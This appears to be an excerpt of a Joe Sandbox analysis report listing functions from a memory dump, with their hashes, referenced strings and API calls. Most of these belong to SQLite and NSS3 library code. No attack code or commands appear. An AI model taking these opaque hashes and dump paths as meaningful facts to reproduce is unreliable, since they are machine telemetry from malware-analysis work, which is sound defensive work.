API String ID: 160209724-655174618
Opcode ID: 4b09479265f5f60db65707dd40a9634eeab5c0c60ae7ef77ef8b20bf67ecf1cb
Instruction ID: 700b4021e3d6102137ea159306050f0b4744909c12f04e0e53bea861bc9666a3
Opcode Fuzzy Hash: 4b09479265f5f60db65707dd40a9634eeab5c0c60ae7ef77ef8b20bf67ecf1cb
Instruction Fuzzy Hash: 3BC1F931A4D2D58BDB05CF2984906AEF7B2FF86308F18C1A9DCA95BB49D731A801D7D1

Function 6CA36F10 Relevance: 5.2, Strings: 4, Instructions: 218COMMON

Download Yara Rule

Strings

unordered*, xrefs: 6CA3702B
noskipscan*, xrefs: 6CA37067
*?[, xrefs: 6CA37034, 6CA37052, 6CA37070
sz=[0-9]*, xrefs: 6CA37049

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID:
String ID: *?[$noskipscan*$sz=[0-9]*$unordered*
API String ID: 0-3485574213
Opcode ID: 64827055bd2a1712f032f0d17da65764ede39de9aa6c0a05db8581f6c2edfaa5
Instruction ID: 6f9e4f7930bca8c2e71f7955c5ce9b26fd62ec7d91034005fca74269194d791f
Opcode Fuzzy Hash: 64827055bd2a1712f032f0d17da65764ede39de9aa6c0a05db8581f6c2edfaa5
Instruction Fuzzy Hash: 07717E36F001218BDB14896DCDA03AAB3A29F86314F295278C95DEBFD1D6754CC687C1

Function 6CA53EC0 Relevance: 4.3, Strings: 3, Instructions: 583COMMON

Download Yara Rule

Strings

sqlite_, xrefs: 6CA53FAA, 6CA54185
sqlite_temp_master, xrefs: 6CA5460F
sqlite_master, xrefs: 6CA5463F

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID:
String ID: sqlite_$sqlite_master$sqlite_temp_master
API String ID: 0-4221611869
Opcode ID: 5c47f3741f6c7e56e9a203e6b5b80612c907da8c1c6e05c469cd330f8ee9f9c0
Instruction ID: c0c3dcecfadf58d98933216c80ea9ac431387a28da8ef45d916dc8ef0f5d22d3
Opcode Fuzzy Hash: 5c47f3741f6c7e56e9a203e6b5b80612c907da8c1c6e05c469cd330f8ee9f9c0
Instruction Fuzzy Hash: F7224735A4D2954FD7048B2A80602B67BF2AF46318BECC5D8C9E15FA56D632ECF1C780

Function 6CB8BE70 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 1029COMMON

Download Yara Rule

Strings

`, xrefs: 6CB8C0B6

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID:
String ID: `
API String ID: 0-2679148245
Opcode ID: e375f3301a24400754ecd059e4c35f79a265e731ec50c6212eb9473f0130a5d8
Instruction ID: a7cf8f327797ce9c3decf1e2c7a8c1eae19736baa486bbec9ccb60799a13757e
Opcode Fuzzy Hash: e375f3301a24400754ecd059e4c35f79a265e731ec50c6212eb9473f0130a5d8
Instruction Fuzzy Hash: 809271B4A052898FDB05DF64C890BBEB7B2FF48308F248268D515A7B91D735EC46CB51

Function 6CA23D80 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 164COMMON

Download Yara Rule

APIs

htonl.WSOCK32(00000000), ref: 6CA23EA9

Strings

0, xrefs: 6CA23DAB

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: htonl
String ID: 0
API String ID: 2009864989-4108050209
Opcode ID: c0b9ecb2a4783bb288ed8c334c08b3fe795e36e85226d8b2d29fb0e1973d8e22
Instruction ID: 32e040957e6421cfa11b8efb9aec99e90d671650221d0d9a0462c1389d63c663
Opcode Fuzzy Hash: c0b9ecb2a4783bb288ed8c334c08b3fe795e36e85226d8b2d29fb0e1973d8e22
Instruction Fuzzy Hash: 7B511831A4B0B98ADB15467D88603FFBBF99B43714F1D4329C5E567AC0C67C458D8790

Function 6CACEE70 Relevance: 3.2, APIs: 2, Instructions: 223COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CACF019
PK11_GenerateRandom.NSS3(?,00000000), ref: 6CACF0F9

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: ErrorGenerateK11_Random
String ID:
API String ID: 3009229198-0
Opcode ID: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction ID: f7ea9357a0506f38f0913c5a4a9e168fa483013d8ce1011bc3c293e162ce23df
Opcode Fuzzy Hash: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction Fuzzy Hash: D2918F71B0161A8BCB14CF69CC916AEB7F1FF85324F24462DD962A7BC0D730A945CB92

Function 6CAF2F70 Relevance: 3.1, APIs: 2, Instructions: 149COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000000,?,6CB17929), ref: 6CAF2FAC
PR_SetError.NSS3(FFFFE040,00000000,00000000,?,6CB17929), ref: 6CAF2FE0

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Error
String ID:
API String ID: 2619118453-0
Opcode ID: d46aaede54373f0ad48c0b1f8e3a7ab5ea5097c73dfbb60e70d671b187b32a75
Instruction ID: 50c52b31d76ff8fae9777c42beb620889b613e720bcfafb82878e82f9b8e479d
Opcode Fuzzy Hash: d46aaede54373f0ad48c0b1f8e3a7ab5ea5097c73dfbb60e70d671b187b32a75
Instruction Fuzzy Hash: 1651F771B069518FDB10CE59C880B6A73B1FF45318F19426AF9A99BB01D731E9C7CB82

Function 6CB10E20 Relevance: 2.8, APIs: 2, Instructions: 279COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000,00000000,00000000), ref: 6CB11052
memset.VCRUNTIME140(-0000001C,?,?,00000000), ref: 6CB11086

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: memcpymemset
String ID:
API String ID: 1297977491-0
Opcode ID: a9ccac84fa3a69516322b085216a93e44f9260785e59be26a24e216fc244f54d
Instruction ID: 7de117061fc3e02449286494e1633ec9b16b23ff891918c16b76e4dda9125948
Opcode Fuzzy Hash: a9ccac84fa3a69516322b085216a93e44f9260785e59be26a24e216fc244f54d
Instruction Fuzzy Hash: 97A13B71F0528A9FCF08CF99D994AEEBBB6FF48314B148129E914A7B00D735AC11CB90

Function 6CA3AC60 Relevance: 2.7, Strings: 2, Instructions: 181COMMON

Download Yara Rule

Strings

winUnlockReadLock, xrefs: 6CA3AE9F
winUnlock, xrefs: 6CA3AE18

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID:
String ID: winUnlock$winUnlockReadLock
API String ID: 0-3432436631
Opcode ID: 425a441b7e0071ee4cbf3bfd94675321143297dfb99024e001f13c46e2dec120
Instruction ID: 17bb2374373b0491b012b6428ae05d065ddb441444dcaf70cb88c4e04c6330b1
Opcode Fuzzy Hash: 425a441b7e0071ee4cbf3bfd94675321143297dfb99024e001f13c46e2dec120
Instruction Fuzzy Hash: B4718B70608250ABDB04CF28E894AABBBF5FF89314F14C61DF99997341D730AD86CB81

Function 6CAFED70 Relevance: 1.7, APIs: 1, Instructions: 217memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C), ref: 6CAFEE3D

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Alloc_ArenaUtil
String ID:
API String ID: 2062749931-0
Opcode ID: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction ID: 3e460be789548e404146423cad7bc01a966766665d305706f7ca9f9cc8fab580
Opcode Fuzzy Hash: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction Fuzzy Hash: 5871D672E017018FE718CF59D88066AB7F2BF88304F19462DE86597B91D770E986CB91

Function 6CA25F30 Relevance: 1.6, APIs: 1, Instructions: 350stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00000000), ref: 6CA26013

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: strcmp
String ID:
API String ID: 1004003707-0
Opcode ID: d7f8951f8c25d68ac3361ddccf4a445a7cc51990a829c232f3e22cb50f8b3204
Instruction ID: ea7688423dbe0d9492db6e193f2bdad0e4b73ea5aba9d0b1eac603f04850e16e
Opcode Fuzzy Hash: d7f8951f8c25d68ac3361ddccf4a445a7cc51990a829c232f3e22cb50f8b3204
Instruction Fuzzy Hash: B0C13874B066268BDB14CF19C8907AAB7F2BF45318F2C8168D995D7B45D738E8C1CB90

Function 6CA34DB0 Relevance: 1.6, Strings: 1, Instructions: 318COMMON

Download Yara Rule

Strings

winUnlockReadLock, xrefs: 6CA35125

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID:
String ID: winUnlockReadLock
API String ID: 0-4244601998
Opcode ID: 3cd02ea7bf9e230399230660ac707bd71d4ad4a75ef77c7b7d058a3ca3202374
Instruction ID: e31c7047209a11ceb4e2a3fba3afbff8c9add0fe05cd74e88fc55cceb280c367
Opcode Fuzzy Hash: 3cd02ea7bf9e230399230660ac707bd71d4ad4a75ef77c7b7d058a3ca3202374
Instruction Fuzzy Hash: 23E11A74A083808FDB05DF28E49466EBBF0FF89308F159A1DE89997351E731D985CB82

Function 6CBB5E60 Relevance: 1.4, APIs: 1, Instructions: 163COMMON

Download Yara Rule

APIs

Part of subcall function 6CBB5B90: PR_Lock.NSS3(00010000,?,00000000,?,6CA9DF9B), ref: 6CBB5B9E
Part of subcall function 6CBB5B90: PR_Unlock.NSS3 ref: 6CBB5BEA

memset.VCRUNTIME140(00000014,00000000,-000000D7,?,?,?,?,?,?,?,?,6CBB5E23,6CA9E154), ref: 6CBB5EBF

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: LockUnlockmemset
String ID:
API String ID: 1725470033-0
Opcode ID: 765870e01ac74a1a285e53e67be40ac57547b096a3347e8632765bb24f41ae14
Instruction ID: 9527d672e7d534259e1f48c429b98c2141815c56f2164c0849b16d73b2b2ba2d
Opcode Fuzzy Hash: 765870e01ac74a1a285e53e67be40ac57547b096a3347e8632765bb24f41ae14
Instruction Fuzzy Hash: DE519D72E0021A8FDB18CF59C8816AEF3B2FF88314B19456DD815B7755DB30A945CBA1

Function 6CB6DCD0 Relevance: .4, Instructions: 371COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad777b2bd0524d6c2bd208ea05b354113b5d0f4c5f95eec3534f33ce17d935bd
Instruction ID: c30b2359581fc55c97f37dff4153218b790041799d2624e9169a5b250865fc59
Opcode Fuzzy Hash: ad777b2bd0524d6c2bd208ea05b354113b5d0f4c5f95eec3534f33ce17d935bd
Instruction Fuzzy Hash: 90F15C71A012458FDB08CF29D8907AE77B6FF89318F294168D8199BB41CB35ED42CBD2

Function 6CB01DC0 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5cf8dc963f7f79db549299581b4ae9ef430c02c880e9910e3ec163e0518b33a5
Instruction ID: 1f60456d3e3f1bbc8342706b89c7ae9520c2731851487ba12e3c3bedb71baf9e
Opcode Fuzzy Hash: 5cf8dc963f7f79db549299581b4ae9ef430c02c880e9910e3ec163e0518b33a5
Instruction Fuzzy Hash: A3D14632B056968BDB158E18C8843DE7F63AB85328F5D4329DC641B7C6C37AE909C7D2

Function 6CA98EA0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa47d381555b0e1847b6e6f371146a775a4bd138f42624cb62ddfc1cfd66434c
Instruction ID: 3c8b5b356199c0ef1d84f03316e88d4041b64241c46d226a1c7a852319ff4797
Opcode Fuzzy Hash: fa47d381555b0e1847b6e6f371146a775a4bd138f42624cb62ddfc1cfd66434c
Instruction Fuzzy Hash: 29118C32A152198BD708DF25D886B5AB7F5BF4231CF08426AD8168FA42C775E8C6C7C1

Function 6CB70C40 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 808bf465746036826954279b2a386d13c786ecd739d3651db5f3ea97a6fb8790
Instruction ID: 66c0e113c740d81c345f445cbb1b2504c388428df58c13eb16a0493a4333f45a
Opcode Fuzzy Hash: 808bf465746036826954279b2a386d13c786ecd739d3651db5f3ea97a6fb8790
Instruction Fuzzy Hash: B811E3747043859FCB10DF28D88066A7BB5FF85368F14806EDC298B701DB32E906CBA1

Function 6CAE3FF0 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$Error
String ID:
API String ID: 2275178025-0
Opcode ID: 77ade886c35ed5ca25f9f746125bae9512ae49c26b0d5176e0b2c2a0c0edfdd2
Instruction ID: 4363c41cac0ac321326b02075db5174eeadb2ef649281ad64511d9b63d654c46
Opcode Fuzzy Hash: 77ade886c35ed5ca25f9f746125bae9512ae49c26b0d5176e0b2c2a0c0edfdd2
Instruction Fuzzy Hash: 81F05E70E047598BCB10DF29C55159EB7F4EF1E254F109619EC8AAB701EB70AAC4C7C1

Function 6CB70D60 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction ID: d2ce63400f60833b4a2763798bb895a37f0e51521096b5ff1db3c3b0a8d5a5cb
Opcode Fuzzy Hash: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction Fuzzy Hash: A0E09B392112B467DB248E09D5506A97359DF81615FB5807FCC6D9FA01D733F80387A1

Function 6CA9CC60 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 495d2442ebac63b7aff58f810417a2ea83deb6316cf7e368d5abe34cbafbd7b2
Instruction ID: 7b9e256de708f65f1093f643eb8e642460c0a40fb05346860a479d2e778afab4
Opcode Fuzzy Hash: 495d2442ebac63b7aff58f810417a2ea83deb6316cf7e368d5abe34cbafbd7b2
Instruction Fuzzy Hash: AFC04838244608CFC704DA08E489AA53BB8AB09611B050098EA028B721DB22F800CA80

Function 6CAD1D60 Relevance: 84.2, APIs: 1, Strings: 47, Instructions: 210COMMON

Download Yara Rule

APIs
